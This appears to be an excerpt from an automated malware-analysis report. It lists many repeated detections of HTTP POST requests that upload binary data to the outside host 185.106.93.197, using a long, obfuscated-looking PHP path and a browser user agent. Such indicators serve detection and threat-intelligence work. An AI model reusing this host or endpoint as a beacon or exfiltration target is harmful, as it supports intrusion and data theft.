                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1820Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2500Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1832Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2500Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1820Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1820Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
